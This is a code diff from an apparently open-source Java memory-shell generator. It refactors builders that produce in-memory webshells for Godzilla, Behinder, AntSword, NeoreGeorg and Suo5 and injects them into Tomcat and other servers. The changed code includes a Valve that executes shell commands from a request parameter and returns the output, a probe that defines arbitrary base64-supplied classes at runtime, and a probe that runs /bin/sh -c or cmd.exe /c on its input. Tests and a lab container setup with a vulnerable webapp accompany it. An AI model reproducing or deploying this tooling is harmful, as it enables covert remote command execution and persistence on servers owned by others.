byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName()); ClassReader classReader = new ClassReader(classBytes);
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); String className = classReader.getClassName().replace('/', '.');
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), classFileLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve();
return new ByteBuddy()
.redefine(typeDescription, classFileLocator);
} }
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase(); String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("key")).value(md5Key) .field(named("key")).value(md5Key)
.field(named("md5")).value(md5) .field(named("md5")).value(md5)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig; import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config; import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
@@ -26,9 +27,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName()); .redefine(shellToolConfig.getShellClass())
.field(named("paramName"))
.value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -12,6 +12,7 @@ import java.io.InputStream;
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -94,7 +94,7 @@ public class TomcatListenerInjector {
listeners.add(listener); listeners.add(listener);
System.out.println("listener inject successful"); System.out.println("listener inject successful");
} else { } else {
ArrayList arrayList = new ArrayList(Arrays.asList(objects)); List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
for (Object o : arrayList) { for (Object o : arrayList) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected"); System.out.println("listener already injected");
@@ -195,6 +195,7 @@ public class TomcatListenerInjector {
} }
method.setAccessible(true); method.setAccessible(true);
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections; import java.util.Collections;
@@ -14,7 +13,7 @@ import java.util.Set;
*/ */
public abstract class AbstractServer { public abstract class AbstractServer {
private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>(); private final Map<String, ToolMapping> map = new LinkedHashMap<>();
/** /**
* 定义注入器映射 * 定义注入器映射
@@ -27,7 +26,7 @@ public abstract class AbstractServer {
return null; return null;
} }
public void addToolMapping(ShellTool shellTool, ToolMapping mapping) { public void addToolMapping(String shellTool, ToolMapping mapping) {
map.put(shellTool, mapping); map.put(shellTool, mapping);
} }
@@ -37,7 +36,7 @@ public abstract class AbstractServer {
* @param shellTool 内存马功能 * @param shellTool 内存马功能
* @return shellTypes * @return shellTypes
*/ */
public Set<String> getSupportedShellTypes(ShellTool shellTool) { public Set<String> getSupportedShellTypes(String shellTool) {
ToolMapping toolMapping = map.get(shellTool); ToolMapping toolMapping = map.get(shellTool);
if (toolMapping == null) { if (toolMapping == null) {
return Collections.emptySet(); return Collections.emptySet();
@@ -45,11 +44,11 @@ public abstract class AbstractServer {
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes()); return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
} }
public Set<ShellTool> getSupportedShellTools() { public Set<String> getSupportedShellTools() {
return Collections.unmodifiableSet(map.keySet()); return Collections.unmodifiableSet(map.keySet());
} }
public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) { public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
ToolMapping mapping = map.get(shellTool); ToolMapping mapping = map.get(shellTool);
if (mapping == null) { if (mapping == null) {
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool); throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
@@ -24,6 +24,10 @@ public class ToolMapping {
this.shellClassMap = new LinkedHashMap<>(shellClassMap); this.shellClassMap = new LinkedHashMap<>(shellClassMap);
} }
public boolean isNotEmpty() {
return !shellClassMap.isEmpty();
}
public Set<String> getSupportedShellTypes() { public Set<String> getSupportedShellTypes() {
return shellClassMap.keySet(); return shellClassMap.keySet();
} }
@@ -8,12 +8,13 @@ import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class CommandValve implements Valve { public class CommandValve implements Valve {
private static String paramName; static String paramName;
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
@@ -21,12 +22,7 @@ public class CommandValve implements Valve {
String param = getParam(request.getParameter(paramName)); String param = getParam(request.getParameter(paramName));
if (param != null) { if (param != null) {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return; return;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -43,8 +39,7 @@ public class CommandValve implements Valve {
return null; return null;
} }
protected Valve next; Valve next;
protected boolean asyncSupported;
@Override @Override
public Valve getNext() { public Valve getNext() {
@@ -58,7 +53,7 @@ public class CommandValve implements Valve {
@Override @Override
public boolean isAsyncSupported() { public boolean isAsyncSupported() {
return this.asyncSupported; return false;
} }
@Override @Override
@@ -36,13 +36,13 @@ public class DnsLogGenerator extends ByteBuddyShellGenerator<DnsLogConfig> {
switch (detectContent) { switch (detectContent) {
case Server: case Server:
return buddy.redefine(DnsLogServer.class) return buddy.redefine(DnsLogServer.class)
.name(CommonUtil.generateShellClassName()) .name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT) .visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost()) .field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(ServerProbe.class).on(named("getServer"))); .visit(Advice.to(ServerProbe.class).on(named("getServer")));
case JDK: case JDK:
return buddy.redefine(DnsLogJdk.class) return buddy.redefine(DnsLogJdk.class)
.name(CommonUtil.generateShellClassName()) .name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT) .visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost()) .field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(JdkProbe.class).on(named("getJdk"))); .visit(Advice.to(JdkProbe.class).on(named("getJdk")));
@@ -37,7 +37,7 @@ public class SleepGenerator extends ByteBuddyShellGenerator<SleepConfig> {
throw new GenerationException("sleepProbe server must be specified"); throw new GenerationException("sleepProbe server must be specified");
} }
return buddy.redefine(SleepServer.class) return buddy.redefine(SleepServer.class)
.name(CommonUtil.generateShellClassName()) .name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT) .visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("server")).value(probeContentConfig.getServer()) .field(named("server")).value(probeContentConfig.getServer())
.field(named("seconds")).value(probeContentConfig.getSeconds()) .field(named("seconds")).value(probeContentConfig.getSeconds())
@@ -23,20 +23,22 @@ public class ByteCodeProbe {
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable { public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
Class<?> decoderClass; Class<?> decoderClass;
byte[] classBytes; byte[] classBytes;
String base64 = data;
if (!data.startsWith("yv66vgAAAD")) {
base64 = "yv66vgAAAD" + data;
}
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data); classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64);
} catch (Exception ignored) { } catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder"); decoderClass = Class.forName("sun.misc.BASE64Decoder");
classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data); classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64);
} }
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length); Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length);
ret = clazz.newInstance().toString(); return ret = clazz.newInstance().toString();
System.out.println(ret);
return ret;
} }
@Override @Override
@@ -3,7 +3,6 @@ package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import java.util.NoSuchElementException;
import java.util.Scanner; import java.util.Scanner;
/** /**
@@ -20,12 +19,8 @@ public class CommandProbe {
@Advice.OnMethodExit @Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception { public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data}; String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
Process process = new ProcessBuilder(cmd).start(); Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
try { return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} catch (NoSuchElementException e) {
return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
}
} }
@Override @Override
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.server.AbstractServer;
import org.junit.jupiter.api.Test;
import java.util.Set;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2025/8/25
*/
class ServerFactoryTest {
@Test
void testSupportedTools() {
AbstractServer server = ServerFactory.getServer(Server.XXLJOB);
Set<String> supportedShellTools = server.getSupportedShellTools();
assertEquals(2, supportedShellTools.size());
assertTrue(supportedShellTools.contains(ShellTool.Command));
assertTrue(supportedShellTools.contains(ShellTool.Godzilla));
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/26
*/
class AntSwordConfigTest {
@Test
void test() {
AntSwordConfig antSwordConfig = AntSwordConfig.builder()
.pass("")
.headerName(null)
.headerValue("").build();
assertNotNull(antSwordConfig.getPass());
assertNotNull(antSwordConfig.getHeaderName());
assertNotNull(antSwordConfig.getHeaderValue());
}
@Test
void testInit(){
AntSwordConfig antSwordConfig = AntSwordConfig.builder()
.pass("pass")
.headerName("ua")
.headerValue("v").build();
assertEquals("pass", antSwordConfig.getPass());
assertEquals("ua", antSwordConfig.getHeaderName());
assertEquals("v", antSwordConfig.getHeaderValue());
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/26
*/
class BehinderConfigTest {
@Test
void test() {
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass(null)
.headerName("")
.headerValue("").build();
assertNotNull(behinderConfig.getPass());
assertNotNull(behinderConfig.getHeaderName());
assertNotNull(behinderConfig.getHeaderValue());
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/25
*/
class GodzillaConfigTest {
@Test
void testNull() {
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass(null)
.key("")
.headerName(null)
.headerValue("")
.build();
assertNotNull(godzillaConfig.getPass());
assertNotNull(godzillaConfig.getKey());
assertNotNull(godzillaConfig.getHeaderName());
assertNotNull(godzillaConfig.getHeaderValue());
}
}
@@ -1,17 +1,21 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.asm.ClassReferenceVisitor;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.jar.asm.ClassReader;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.objectweb.asm.ClassReader;
import java.util.Base64; import java.util.Base64;
import java.util.Set;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.*;
/** /**
@@ -27,9 +31,42 @@ class CustomShellGeneratorTest {
.subclass(Object.class) .subclass(Object.class)
.name(CommonUtil.generateShellClassName()).make().getBytes(); .name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName(); String className = CommonUtil.generateShellClassName();
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes(); ShellConfig shellConfig = ShellConfig.builder()
.shellType(ShellType.FILTER)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1); ClassReader classReader = new ClassReader(bytes1);
assertEquals(className, classReader.getClassName().replace("/", ".")); assertEquals(className, classReader.getClassName().replace("/", "."));
} }
@Test
@SneakyThrows
void testValue() {
byte[] bytes = new ByteBuddy()
.redefine(GodzillaValve.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.BES)
.shellType(ShellType.VALVE)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1);
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
classReader.accept(classVisitor, 0);
Set<String> referencedClasses = classVisitor.getReferencedClasses();
assertEquals(className, classReader.getClassName().replace("/", "."));
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
}
} }
@@ -0,0 +1,24 @@
package com.reajason.javaweb.probe.payload;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/8/26
*/
class CommandProbeTest {
@Test
@Disabled
void test() {
String result = new CommandProbe("hello").toString();
assertThat(result, anyOf(
containsString("not found")
));
}
}
+6 -6
View File
@@ -1,6 +1,6 @@
[versions] [versions]
asm = "9.8" asm = "9.8"
jna = "5.13.0" jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2" bcel = "5.2"
javax-servlet-api = "3.0.1" javax-servlet-api = "3.0.1"
javax-websocket-api = "1.1" javax-websocket-api = "1.1"
@@ -10,16 +10,16 @@ reactor-netty = "1.1.25"
jackson = "2.19.0" jackson = "2.19.0"
jetbrains-annotations = "26.0.2" jetbrains-annotations = "26.0.2"
byte-buddy = "1.17.6" byte-buddy = "1.17.7"
commons-io = "2.20.0" commons-io = "2.20.0"
commons-lang3 = "3.18.0" commons-lang3 = "3.18.0"
commons-codec = "1.19.0" commons-codec = "1.19.0"
logback = "1.5.18" logback = "1.5.18"
okhttp3 = "5.1.0" okhttp3 = "5.1.0"
fastjson2 = "2.0.57" fastjson2 = "2.0.58"
java-websocket = "1.6.0" java-websocket = "1.6.0"
mockito = "5.18.0" mockito = "5.19.0"
hamcrest = "3.0" hamcrest = "3.0"
junit-jupiter = "5.13.4" junit-jupiter = "5.13.4"
junit-pioneer = "2.3.0" junit-pioneer = "2.3.0"
@@ -62,5 +62,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins] [plugins]
lombok = { id = "io.freefair.lombok", version = "8.14" } lombok = { id = "io.freefair.lombok", version = "8.14.2" }
shadow = { id = "com.gradleup.shadow", version = "8.3.8"} shadow = { id = "com.gradleup.shadow", version = "9.0.2"}
+1
View File
@@ -28,6 +28,7 @@ dependencies {
testImplementation(libs.junit.platform.reporting) testImplementation(libs.junit.platform.reporting)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.junit.pioneer) testImplementation(libs.junit.pioneer)
testImplementation(libs.logback.classic)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testImplementation(libs.bundles.testcontainers) testImplementation(libs.bundles.testcontainers)
@@ -0,0 +1,11 @@
services:
wildfly30:
image: quay.io/wildfly/wildfly:30.0.1.Final-jdk17
container_name: wildfly30
ports:
- 8080:8080
- 5005:5005
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/opt/jboss/wildfly/standalone/deployments/app.war
@@ -1,145 +0,0 @@
package com.reajason.javaweb.integration;
import lombok.Builder;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.platform.engine.TestExecutionResult;
import org.junit.platform.engine.UniqueId;
import org.junit.platform.launcher.TestExecutionListener;
import org.junit.platform.launcher.TestIdentifier;
import org.junit.platform.launcher.TestPlan;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.time.Duration;
import java.time.Instant;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2024/12/1
*/
public class MarkdownTestExecutionListener implements TestExecutionListener {
private final Map<UniqueId, Instant> timeStamps = new ConcurrentHashMap<>();
private final Map<String, List<TestCase>> testCases = new ConcurrentHashMap<>();
private final Path markdownPath = Paths.get("build", "test-results", "report.md");
private Instant startTime;
@SneakyThrows
@Override
public void testPlanExecutionStarted(TestPlan testPlan) {
Files.deleteIfExists(markdownPath);
ArrayList<String> lines = new ArrayList<>();
lines.add("## Integration Test");
startTime = Instant.now();
lines.add("- Started: " + startTime);
Files.write(markdownPath, lines, StandardOpenOption.CREATE_NEW);
}
@Override
@SneakyThrows
public void testPlanExecutionFinished(TestPlan testPlan) {
List<String> lines = new ArrayList<>();
Instant endTime = Instant.now();
lines.add("- Finished: " + endTime);
Duration duration = Duration.between(startTime, endTime);
lines.add("- Total Duration: " + getDuration(duration));
Pair<Long, Long> countPair = parseCases();
lines.add(String.format("- Total Cases: %d/%d, %d failed", countPair.getLeft(), countPair.getRight(), countPair.getRight() - countPair.getLeft()));
lines.add("");
for (Map.Entry<String, List<TestCase>> entry : testCases.entrySet()) {
lines.add(String.format("### %s", entry.getKey()));
lines.add("|**Shell Type** | **Packer** | **Status**| **Duration(ms)** |");
lines.add("|---------------|------------|-----------|------------------|");
List<TestCase> value = entry.getValue().stream().sorted((tc1, tc2) -> {
if (tc1.getStatus() == tc2.getStatus()) {
return 0;
}
return tc1.getStatus() == TestExecutionResult.Status.FAILED ? -1 : 1;
}).collect(Collectors.toList());
for (TestCase testCase : value) {
String status = testCase.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL) ? "" : "";
lines.add("|" + testCase.getShellType() + "|" + testCase.getPacker() + "|" + status + "|" + testCase.getDuration().toMillis() + "|");
}
}
Files.write(markdownPath, lines, StandardOpenOption.APPEND);
}
private String getDuration(Duration duration) {
long totalSeconds = duration.getSeconds();
long minutes = totalSeconds / 60;
long seconds = totalSeconds % 60;
if (totalSeconds < 60) {
return String.format("%d seconds", totalSeconds);
} else {
return String.format("%d minutes and %d seconds", minutes, seconds);
}
}
private Pair<Long, Long> parseCases() {
long totalCases = 0;
long successCases = 0;
for (List<TestCase> caseList : testCases.values()) {
totalCases += caseList.size();
for (TestCase testCase : caseList) {
if (testCase.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL)) {
successCases++;
}
}
}
return Pair.of(successCases, totalCases);
}
@Override
public void executionFinished(TestIdentifier testIdentifier, TestExecutionResult testExecutionResult) {
if (!testIdentifier.isTest()) {
return;
}
Instant startTime = timeStamps.get(testIdentifier.getUniqueIdObject());
if (startTime == null) {
return;
}
String[] split = testIdentifier.getDisplayName().split("\\|");
if (split.length == 3) {
String imageName = split[0].trim();
String shellType = split[1].trim();
String packer = split[2].trim();
List<TestCase> cases = testCases.getOrDefault(imageName, new ArrayList<>());
cases.add(TestCase.builder()
.imageName(imageName)
.shellType(shellType)
.packer(packer)
.duration(Duration.between(startTime, Instant.now()))
.status(testExecutionResult.getStatus())
.build());
testCases.put(imageName, cases);
}
}
@Override
public void executionStarted(TestIdentifier testIdentifier) {
if (testIdentifier.isTest()) {
timeStamps.put(testIdentifier.getUniqueIdObject(), Instant.now());
}
}
@Data
@Builder
static class TestCase {
private String imageName;
private String shellType;
private String packer;
private Duration duration;
private TestExecutionResult.Status status;
}
}
@@ -49,6 +49,34 @@ public class ProbeAssertion {
} }
} }
@SneakyThrows
public static void responseBytecodeWithoutPrefixIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(targetJreVersion)
.debug(true)
.shrink(true)
.build();
String reqParamName = "payload";
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(server)
.reqParamName(reqParamName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
RequestBody requestBody = new FormBody.Builder()
.add("data", probeResult.getShellBytesBase64Str())
.add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", ""))
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertEquals(server, response.body().string());
}
}
@SneakyThrows @SneakyThrows
public static void responseCommandIsOk(String url, String server, int targetJreVersion) { public static void responseCommandIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder() ProbeConfig probeConfig = ProbeConfig.builder()
@@ -6,7 +6,6 @@ import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
